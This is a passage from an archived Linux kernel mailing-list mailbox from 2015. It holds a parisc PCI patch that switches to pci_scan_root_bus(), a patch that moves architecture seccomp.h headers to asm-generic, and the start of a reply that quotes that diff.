 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
@@ -996,13 +992,10 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	max = pci_scan_child_bus(bus);
-	pci_bus_update_busn_res_end(bus, max);
-
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
 	 */
-	dino_current_bus = max + 1;
+	dino_current_bus = bus->busn_res.end + 1;
 	pci_bus_assign_resources(bus);
 	pci_bus_add_devices(bus);
 	return 0;
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index dceb9dd..ba6daec 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1422,7 +1422,6 @@ lba_driver_probe(struct parisc_device *dev)
 	void *tmp_obj;
 	char *version;
 	void __iomem *addr = ioremap_nocache(dev->hpa.start, 4096);
-	int max;
 
 	/* Read HW Rev First */
 	func_class = READ_REG32(addr + LBA_FCLASS);
@@ -1563,15 +1562,13 @@ lba_driver_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
+		pci_scan_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
 				    cfg_ops, NULL, &resources);
 	if (!lba_bus) {
 		pci_free_resource_list(&resources);
 		return 0;
 	}
 
-	max = pci_scan_child_bus(lba_bus);
-
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
 		/* assign resources to un-initialized devices */
@@ -1599,7 +1596,7 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->flags |= LBA_FLAG_SKIP_PROBE;
 	}
 
-	lba_next_bus = max + 1;
+	lba_next_bus = pci_bus_child_max_busnr(lba_bus) + 1;
 	pci_bus_add_devices(lba_bus);
 
 	/* Whew! Finally done! Tell services we got this one covered. */
-- 
1.7.1


From - Thu Nov 08 21:37:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc
Subject: [PATCH v4 22/30] PCI/Parisc: Use pci_scan_root_bus() for simplicity
Date: Thu, 26 Feb 2015 16:12:16 +0800
Lines: 94
Approved: news@gmane.org
Message-ID: <1424938344-4017-23-git-send-email-wangyijing@huawei.com>
References: <1424938344-4017-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1424938660 11980 80.91.229.3 (26 Feb 2015 08:17:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 26 Feb 2015 08:17:40 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@linux.intel.com>, <linux-pci@vger.kernel.org>,
	Yinghai Lu <yinghai@kernel.org>,
	<linux-kernel@vger.kernel.org>,
	Marc Zyngier <marc.zyngier@arm.com>,
	<linux-arm-kernel@lists.infradead.org>,
	Russell King <linux@arm.linux.org.uk>, <x86@kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Tony Luck <tony.luck@intel.com>, <linux-ia64@vger.kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"Guan Xuetao" <gxt@mprc.pku.edu.cn>, <linux-alpha@vger.kernel.org>,
	<linux-m68k@lists.linux-m68k.org>, Liviu Dudau <liviu@dudau.co.uk>,
	"Arnd Bergmann" <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"Yijing Wang" <wangyijing@huawei.com>,
	Yijing Wang <wangyijing0307@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	<linux-parisc@vger.kernel.org>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Feb 26 09:17:32 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YQtdT-00009G-LV
	for glk-linux-kernel-3@plane.gmane.org; Thu, 26 Feb 2015 09:17:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932224AbbBZIQk (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 26 Feb 2015 03:16:40 -0500
Original-Received: from [119.145.14.65] ([119.145.14.65]:5109 "EHLO
	szxga02-in.huawei.com" rhost-flags-FAIL-FAIL-OK-OK) by vger.kernel.org
	with ESMTP id S1753614AbbBZIQ2 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 26 Feb 2015 03:16:28 -0500
Original-Received: from 172.24.2.119 (EHLO szxeml433-hub.china.huawei.com) ([172.24.2.119])
	by szxrg02-dlp.huawei.com (MOS 4.3.7-GA FastPath queued)
	with ESMTP id CHR84723;
	Thu, 26 Feb 2015 16:15:45 +0800 (CST)
Original-Received: from localhost.localdomain (10.175.100.166) by
 szxeml433-hub.china.huawei.com (10.82.67.210) with Microsoft SMTP Server id
 14.3.158.1; Thu, 26 Feb 2015 16:15:28 +0800
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1424938344-4017-1-git-send-email-wangyijing@huawei.com>
X-Originating-IP: [10.175.100.166]
X-CFilter-Loop: Reflected
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1895259 gmane.linux.kernel.pci:39383 gmane.linux.ports.arm.kernel:395577 gmane.linux.ports.ia64:25086 gmane.linux.ports.alpha:2728 gmane.linux.ports.parisc:25612
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1895259>

From: Yijing Wang <wangyijing0307@gmail.com>

Now pci_bus_add_devices() has been ripped out
from pci_scan_root_bus(), we could use pci_scan_root_bus()
instead of pci_create_root_bus() + pci_scan_child_bus()
for simplicity. We could also remove the pci bus
resource(dino_current_bus,255) and pci_bus_update_busn_res_end(),
because pci_scan_root_bus() would do the same thing.

Signed-off-by: Yijing Wang <wangyijing@huawei.com>
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |   11 ++---------
 drivers/parisc/lba_pci.c |    7 ++-----
 2 files changed, 4 insertions(+), 14 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index a0580af..e5ee339 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -977,15 +977,11 @@ static int __init dino_probe(struct parisc_device *dev)
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
-	dino_dev->hba.bus_num.start = dino_current_bus;
-	dino_dev->hba.bus_num.end = 255;
-	dino_dev->hba.bus_num.flags = IORESOURCE_BUS;
-	pci_add_resource(&resources, &dino_dev->hba.bus_num);
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_create_root_bus(&dev->dev,
+	dino_dev->hba.hba_bus = bus = pci_scan_root_bus(&dev->dev,
 			 dino_current_bus, &dino_cfg_ops, NULL, &resources);
 	if (!bus) {
 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
@@ -996,13 +992,10 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	max = pci_scan_child_bus(bus);
-	pci_bus_update_busn_res_end(bus, max);
-
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
 	 */
-	dino_current_bus = max + 1;
+	dino_current_bus = bus->busn_res.end + 1;
 	pci_bus_assign_resources(bus);
 	pci_bus_add_devices(bus);
 	return 0;
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index dceb9dd..ba6daec 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1422,7 +1422,6 @@ lba_driver_probe(struct parisc_device *dev)
 	void *tmp_obj;
 	char *version;
 	void __iomem *addr = ioremap_nocache(dev->hpa.start, 4096);
-	int max;
 
 	/* Read HW Rev First */
 	func_class = READ_REG32(addr + LBA_FCLASS);
@@ -1563,15 +1562,13 @@ lba_driver_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
+		pci_scan_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
 				    cfg_ops, NULL, &resources);
 	if (!lba_bus) {
 		pci_free_resource_list(&resources);
 		return 0;
 	}
 
-	max = pci_scan_child_bus(lba_bus);
-
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
 		/* assign resources to un-initialized devices */
@@ -1599,7 +1596,7 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->flags |= LBA_FLAG_SKIP_PROBE;
 	}
 
-	lba_next_bus = max + 1;
+	lba_next_bus = pci_bus_child_max_busnr(lba_bus) + 1;
 	pci_bus_add_devices(lba_bus);
 
 	/* Whew! Finally done! Tell services we got this one covered. */
-- 
1.7.1


From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH] seccomp: switch to using asm-generic for seccomp.h
Date: Fri, 27 Feb 2015 16:52:29 -0800
Lines: 286
Approved: news@gmane.org
Message-ID: <20150228005228.GA23638@www.outflux.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1425084823 29159 80.91.229.3 (28 Feb 2015 00:53:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Feb 2015 00:53:43 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
        AKASHI Takahiro <takahiro.akashi@linaro.org>,
        Russell King <linux@arm.linux.org.uk>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm.com, "David S. Miller" <davem@davemloft.net>,
        James Hogan <james.hogan@imgtec.com>, x86@kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.o
To: akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Sat Feb 28 01:53:35 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YRVev-00070V-B7
	for sgi-linux-mips@gmane.org; Sat, 28 Feb 2015 01:53:33 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:48980 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011545AbbB1Ax3aCpXJ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sat, 28 Feb 2015 01:53:29 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2015 01:53:13 +0100 (CET)
Original-Received: from smtp.outflux.net ([198.145.64.163]:46900 "EHLO smtp.outflux.net"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27007598AbbB1AxLdwWoU (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Sat, 28 Feb 2015 01:53:11 +0100
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
        by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t1S0qTLl008209;
        Fri, 27 Feb 2015 16:52:31 -0800
Content-Disposition: inline
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
X-archive-position: 46054
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: keescook@chromium.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:47204 gmane.linux.kernel:1896679 gmane.linux.ports.arm.kernel:396143 gmane.linux.ports.parisc:25613 gmane.linux.ports.ppc64.devel:109565 gmane.linux.ports.sh.devel:44297 gmane.linux.ports.sparc:20477
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/47204>

Most architectures don't need to do anything special for the strict
seccomp syscall entries. Remove the redundant headers and reduce the
others.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
 arch/arm/include/asm/seccomp.h          | 12 +-----------
 arch/microblaze/include/asm/seccomp.h   | 17 +----------------
 arch/mips/include/asm/seccomp.h         |  7 ++-----
 arch/parisc/include/asm/seccomp.h       | 17 +----------------
 arch/powerpc/include/asm/seccomp.h      |  1 +
 arch/powerpc/include/uapi/asm/Kbuild    |  1 -
 arch/powerpc/include/uapi/asm/seccomp.h | 16 ----------------
 arch/s390/include/asm/seccomp.h         | 17 +----------------
 arch/sh/include/asm/seccomp.h           | 11 +----------
 arch/sparc/include/asm/seccomp.h        | 16 +---------------
 arch/x86/include/asm/seccomp.h          | 21 ++++++++++++++++++---
 arch/x86/include/asm/seccomp_32.h       | 11 -----------
 arch/x86/include/asm/seccomp_64.h       | 17 -----------------
 13 files changed, 27 insertions(+), 137 deletions(-)
 create mode 100644 arch/powerpc/include/asm/seccomp.h
 delete mode 100644 arch/powerpc/include/uapi/asm/seccomp.h
 delete mode 100644 arch/x86/include/asm/seccomp_32.h
 delete mode 100644 arch/x86/include/asm/seccomp_64.h

diff --git a/arch/arm/include/asm/seccomp.h b/arch/arm/include/asm/seccomp.h
index 52b156b341f5..66ca6a30bf5c 100644
--- a/arch/arm/include/asm/seccomp.h
+++ b/arch/arm/include/asm/seccomp.h
@@ -1,11 +1 @@
-#ifndef _ASM_ARM_SECCOMP_H
-#define _ASM_ARM_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#endif /* _ASM_ARM_SECCOMP_H */
+#include <asm-generic/seccomp.h>
diff --git a/arch/microblaze/include/asm/seccomp.h b/arch/microblaze/include/asm/seccomp.h
index 0d912758a0d7..66ca6a30bf5c 100644
--- a/arch/microblaze/include/asm/seccomp.h
+++ b/arch/microblaze/include/asm/seccomp.h
@@ -1,16 +1 @@
-#ifndef _ASM_MICROBLAZE_SECCOMP_H
-#define _ASM_MICROBLAZE_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read		__NR_read
-#define __NR_seccomp_write		__NR_write
-#define __NR_seccomp_exit		__NR_exit
-#define __NR_seccomp_sigreturn		__NR_sigreturn
-
-#define __NR_seccomp_read_32		__NR_read
-#define __NR_seccomp_write_32		__NR_write
-#define __NR_seccomp_exit_32		__NR_exit
-#define __NR_seccomp_sigreturn_32	__NR_sigreturn
-
-#endif	/* _ASM_MICROBLAZE_SECCOMP_H */
+#include <asm-generic/seccomp.h>
diff --git a/arch/mips/include/asm/seccomp.h b/arch/mips/include/asm/seccomp.h
index f29c75cf83c6..1d8a2e2c75c1 100644
--- a/arch/mips/include/asm/seccomp.h
+++ b/arch/mips/include/asm/seccomp.h
@@ -2,11 +2,6 @@
 
 #include <linux/unistd.h>
 
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
 /*
  * Kludge alert:
  *
@@ -29,4 +24,6 @@
 
 #endif /* CONFIG_MIPS32_O32 */
 
+#include <asm-generic/seccomp.h>
+
 #endif /* __ASM_SECCOMP_H */
diff --git a/arch/parisc/include/asm/seccomp.h b/arch/parisc/include/asm/seccomp.h
index 015f7887aa29..66ca6a30bf5c 100644
--- a/arch/parisc/include/asm/seccomp.h
+++ b/arch/parisc/include/asm/seccomp.h
@@ -1,16 +1 @@
-#ifndef _ASM_PARISC_SECCOMP_H
-#define _ASM_PARISC_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_read
-#define __NR_seccomp_write_32 __NR_write
-#define __NR_seccomp_exit_32 __NR_exit
-#define __NR_seccomp_sigreturn_32 __NR_rt_sigreturn
-
-#endif	/* _ASM_PARISC_SECCOMP_H */
+#include <asm-generic/seccomp.h>
diff --git a/arch/powerpc/include/asm/seccomp.h b/arch/powerpc/include/asm/seccomp.h
new file mode 100644
index 000000000000..66ca6a30bf5c
--- /dev/null
+++ b/arch/powerpc/include/asm/seccomp.h
@@ -0,0 +1 @@
+#include <asm-generic/seccomp.h>
diff --git a/arch/powerpc/include/uapi/asm/Kbuild b/arch/powerpc/include/uapi/asm/Kbuild
index 7a3f795ac218..79c4068be278 100644
--- a/arch/powerpc/include/uapi/asm/Kbuild
+++ b/arch/powerpc/include/uapi/asm/Kbuild
@@ -25,7 +25,6 @@ header-y += posix_types.h
 header-y += ps3fb.h
 header-y += ptrace.h
 header-y += resource.h
-header-y += seccomp.h
 header-y += sembuf.h
 header-y += setup.h
 header-y += shmbuf.h
diff --git a/arch/powerpc/include/uapi/asm/seccomp.h b/arch/powerpc/include/uapi/asm/seccomp.h
deleted file mode 100644
index 00c1d9133cfe..000000000000
--- a/arch/powerpc/include/uapi/asm/seccomp.h
+++ /dev/null
@@ -1,16 +0,0 @@
-#ifndef _ASM_POWERPC_SECCOMP_H
-#define _ASM_POWERPC_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_read
-#define __NR_seccomp_write_32 __NR_write
-#define __NR_seccomp_exit_32 __NR_exit
-#define __NR_seccomp_sigreturn_32 __NR_sigreturn
-
-#endif	/* _ASM_POWERPC_SECCOMP_H */
diff --git a/arch/s390/include/asm/seccomp.h b/arch/s390/include/asm/seccomp.h
index 781a9cf9b002..66ca6a30bf5c 100644
--- a/arch/s390/include/asm/seccomp.h
+++ b/arch/s390/include/asm/seccomp.h
@@ -1,16 +1 @@
-#ifndef _ASM_S390_SECCOMP_H
-#define _ASM_S390_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read	__NR_read
-#define __NR_seccomp_write	__NR_write
-#define __NR_seccomp_exit	__NR_exit
-#define __NR_seccomp_sigreturn	__NR_sigreturn
-
-#define __NR_seccomp_read_32	__NR_read
-#define __NR_seccomp_write_32	__NR_write
-#define __NR_seccomp_exit_32	__NR_exit
-#define __NR_seccomp_sigreturn_32 __NR_sigreturn
-
-#endif	/* _ASM_S390_SECCOMP_H */
+#include <asm-generic/seccomp.h>
diff --git a/arch/sh/include/asm/seccomp.h b/arch/sh/include/asm/seccomp.h
index 3280ed3802ef..66ca6a30bf5c 100644
--- a/arch/sh/include/asm/seccomp.h
+++ b/arch/sh/include/asm/seccomp.h
@@ -1,10 +1 @@
-#ifndef __ASM_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#endif /* __ASM_SECCOMP_H */
+#include <asm-generic/seccomp.h>
diff --git a/arch/sparc/include/asm/seccomp.h b/arch/sparc/include/asm/seccomp.h
index adca1bce41d4..66ca6a30bf5c 100644
--- a/arch/sparc/include/asm/seccomp.h
+++ b/arch/sparc/include/asm/seccomp.h
@@ -1,15 +1 @@
-#ifndef _ASM_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_read
-#define __NR_seccomp_write_32 __NR_write
-#define __NR_seccomp_exit_32 __NR_exit
-#define __NR_seccomp_sigreturn_32 __NR_sigreturn
-
-#endif /* _ASM_SECCOMP_H */
+#include <asm-generic/seccomp.h>
diff --git a/arch/x86/include/asm/seccomp.h b/arch/x86/include/asm/seccomp.h
index 0f3d7f099224..b13ac5f63702 100644
--- a/arch/x86/include/asm/seccomp.h
+++ b/arch/x86/include/asm/seccomp.h
@@ -1,5 +1,20 @@
+#ifndef _ASM_X86_SECCOMP_H
+#define _ASM_X86_SECCOMP_H
+
+#include <asm/unistd.h>
+
+#ifdef CONFIG_COMPAT
+#include <asm/ia32_unistd.h>
+#define __NR_seccomp_read_32		__NR_ia32_read
+#define __NR_seccomp_write_32		__NR_ia32_write
+#define __NR_seccomp_exit_32		__NR_ia32_exit
+#define __NR_seccomp_sigreturn_32	__NR_ia32_sigreturn
+#endif
+
 #ifdef CONFIG_X86_32
-# include <asm/seccomp_32.h>
-#else
-# include <asm/seccomp_64.h>
+#define __NR_seccomp_sigreturn		__NR_sigreturn
 #endif
+
+#include <asm-generic/seccomp.h>
+
+#endif /* _ASM_X86_SECCOMP_H */
diff --git a/arch/x86/include/asm/seccomp_32.h b/arch/x86/include/asm/seccomp_32.h
deleted file mode 100644
index b811d6f5780c..000000000000
--- a/arch/x86/include/asm/seccomp_32.h
+++ /dev/null
@@ -1,11 +0,0 @@
-#ifndef _ASM_X86_SECCOMP_32_H
-#define _ASM_X86_SECCOMP_32_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_sigreturn
-
-#endif /* _ASM_X86_SECCOMP_32_H */
diff --git a/arch/x86/include/asm/seccomp_64.h b/arch/x86/include/asm/seccomp_64.h
deleted file mode 100644
index 84ec1bd161a5..000000000000
--- a/arch/x86/include/asm/seccomp_64.h
+++ /dev/null
@@ -1,17 +0,0 @@
-#ifndef _ASM_X86_SECCOMP_64_H
-#define _ASM_X86_SECCOMP_64_H
-
-#include <linux/unistd.h>
-#include <asm/ia32_unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_ia32_read
-#define __NR_seccomp_write_32 __NR_ia32_write
-#define __NR_seccomp_exit_32 __NR_ia32_exit
-#define __NR_seccomp_sigreturn_32 __NR_ia32_sigreturn
-
-#endif /* _ASM_X86_SECCOMP_64_H */
-- 
1.9.1


-- 
Kees Cook
Chrome OS Security



From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] seccomp: switch to using asm-generic for seccomp.h
Date: Sat, 28 Feb 2015 12:36:56 +1100
Lines: 67
Approved: news@gmane.org
Message-ID: <20150228123656.538301ef@canb.auug.org.au>
References: <20150228005228.GA23638@www.outflux.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
 boundary="Sig_/OELWuzD5PC91fjVQFZ1t_+c"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1425087435 32739 80.91.229.3 (28 Feb 2015 01:37:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Feb 2015 01:37:15 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux-mips@linux-mips.org,
	linux-sh@vger.kernel.org,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
	linux-s390@vger.kernel.org, Russell King <linux@arm.linux.org.uk>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	AKASHI Takahiro <takahiro.akashi@linaro.org>,
	James Hogan <james.hogan@imgtec.com>,
	linux-arm-kernel@lists.infradead.org,
	Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Ralf Baechle <ralf@linux-mips.org>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	linux390@de.ibm.com, linuxppc-dev@lists.ozlabs.org,
	"David S. Miller" <davem@davemloft.net>
To: Kees Cook <keescook@chromium.org>
Original-X-From: sparclinux-owner@vger.kernel.org Sat Feb 28 02:37:11 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1YRWL7-0003Ge-Am
	for lnx-sparclinux@plane.gmane.org; Sat, 28 Feb 2015 02:37:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751217AbbB1BhI (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Fri, 27 Feb 2015 20:37:08 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:45697 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750947AbbB1BhH (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Fri, 27 Feb 2015 20:37:07 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id 32054140146;
	Sat, 28 Feb 2015 12:37:03 +1100 (AEDT)
In-Reply-To: <20150228005228.GA23638@www.outflux.net>
X-Mailer: Claws Mail 3.11.1 (GTK+ 2.24.25; i586-pc-linux-gnu)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:20478 gmane.linux.ports.mips.general:47206 gmane.linux.ports.sh.devel:44298 gmane.linux.ports.arm.kernel:396147 gmane.linux.ports.parisc:25614 gmane.linux.kernel:1896687 gmane.linux.ports.ppc64.devel:109566
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/20478>

--Sig_/OELWuzD5PC91fjVQFZ1t_+c
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

Hi Kees,

On Fri, 27 Feb 2015 16:52:29 -0800 Kees Cook <keescook@chromium.org> wrote:
>
> diff --git a/arch/arm/include/asm/seccomp.h b/arch/arm/include/asm/seccom=
p.h
> index 52b156b341f5..66ca6a30bf5c 100644
> --- a/arch/arm/include/asm/seccomp.h
> +++ b/arch/arm/include/asm/seccomp.h
> @@ -1,11 +1 @@
> -#ifndef _ASM_ARM_SECCOMP_H
> -#define _ASM_ARM_SECCOMP_H
> -
> -#include <linux/unistd.h>
> -
> -#define __NR_seccomp_read __NR_read
> -#define __NR_seccomp_write __NR_write
